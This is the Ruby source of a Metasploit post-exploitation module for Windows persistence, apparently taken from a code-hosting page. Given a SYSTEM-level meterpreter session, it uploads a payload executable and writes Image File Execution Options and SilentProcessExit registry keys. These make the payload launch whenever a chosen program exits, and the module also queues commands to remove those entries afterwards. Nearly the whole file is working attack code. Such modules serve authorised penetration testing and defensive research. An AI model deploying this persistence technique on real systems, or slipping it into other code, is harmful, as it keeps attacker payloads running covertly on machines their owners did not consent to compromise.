143 lines
5.7 KiB
Ruby
143 lines
5.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Post::Windows::Registry
|
|
include Msf::Post::File
|
|
include Msf::Exploit::EXE
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Exploit::Local::Persistence
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::Deprecated
|
|
moved_from 'exploits/windows/local/persistence_image_exec_options'
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Windows Silent Process Exit Persistence',
|
|
'Description' => %q{
|
|
Windows allows you to set up a debug process when a process exits.
|
|
This module uploads a payload and declares that it is the debug
|
|
process to launch when a specified process exits.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Mithun Shanbhag', # earliest author found
|
|
'bwatters-r7', # msf module
|
|
],
|
|
'Platform' => [ 'win' ],
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'Targets' => [
|
|
[ 'Automatic', {} ]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2008-06-28',
|
|
'Privileged' => true,
|
|
'References' => [
|
|
['ATT&CK', Mitre::Attack::Technique::T1183_IMAGE_FILE_EXECUTION_OPTIONS_INJECTION],
|
|
['URL', 'https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/']
|
|
],
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
stdapi_sys_config_getenv
|
|
]
|
|
}
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
|
|
}
|
|
)
|
|
)
|
|
register_options([
|
|
OptString.new('PAYLOAD_NAME',
|
|
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
|
|
OptString.new('IMAGE_FILE', [true, 'Binary to "debug"', nil])
|
|
|
|
])
|
|
end
|
|
|
|
def writable_dir
|
|
d = super
|
|
return session.sys.config.getenv(d) if d.start_with?('%')
|
|
|
|
d
|
|
end
|
|
|
|
def check
|
|
print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
|
|
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
|
|
|
|
return CheckCode::Safe('You must be System to run this Module') unless is_system?
|
|
|
|
CheckCode::Appears('Likely exploitable')
|
|
end
|
|
|
|
def upload_payload(dest_pathname)
|
|
payload_exe = generate_payload_exe
|
|
write_file(dest_pathname, payload_exe)
|
|
vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{dest_pathname}")
|
|
end
|
|
|
|
def validate_active_host
|
|
unless is_system?
|
|
fail_with(Failure::NoAccess, 'You must be System to run this Module')
|
|
end
|
|
|
|
begin
|
|
print_status("Attempting Persistence on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
elog(e)
|
|
raise Msf::Exploit::Failed, 'Could not connect to session'
|
|
end
|
|
end
|
|
|
|
def write_reg_keys(image_file, payload_pathname)
|
|
reg_keys = []
|
|
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}",
|
|
value_name: 'GlobalFlag',
|
|
type: 'REG_DWORD',
|
|
value_value: 512)
|
|
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",
|
|
value_name: 'ReportingMode',
|
|
type: 'REG_DWORD',
|
|
value_value: 1)
|
|
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",
|
|
value_name: 'MonitorProcess',
|
|
type: 'REG_SZ',
|
|
value_value: payload_pathname)
|
|
silent_process_exit_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit'
|
|
registry_createkey(silent_process_exit_key) unless registry_key_exist?(silent_process_exit_key)
|
|
reg_keys.each do |key|
|
|
registry_createkey(key[:key_name]) unless registry_key_exist?(key[:key_name])
|
|
vprint_status("Writing #{key[:value_name]} to #{key[:key_name]}")
|
|
registry_setvaldata(key[:key_name], key[:value_name], key[:value_value], key[:type])
|
|
unless registry_getvalinfo(key[:key_name], key[:value_name])
|
|
print_error("Failed to set #{key[:value_name]} for #{key[:key_name]}")
|
|
return false
|
|
end
|
|
end
|
|
end
|
|
|
|
def install_persistence
|
|
validate_active_host
|
|
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
|
|
temp_path = writable_dir
|
|
image_file = datastore['IMAGE_FILE']
|
|
payload_pathname = temp_path + '\\' + payload_name + '.exe'
|
|
vprint_status("Payload pathname = #{payload_pathname}")
|
|
upload_payload(payload_pathname) if write_reg_keys(image_file, payload_pathname)
|
|
@clean_up_rc << "rm #{payload_pathname}\n"
|
|
@clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}\" /v GlobalFlag /f\" -H\n"
|
|
@clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}\" /v ReportingMode /f\" -H\n"
|
|
@clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}\" /v MonitorProcess /f\" -H\n"
|
|
end
|
|
end
|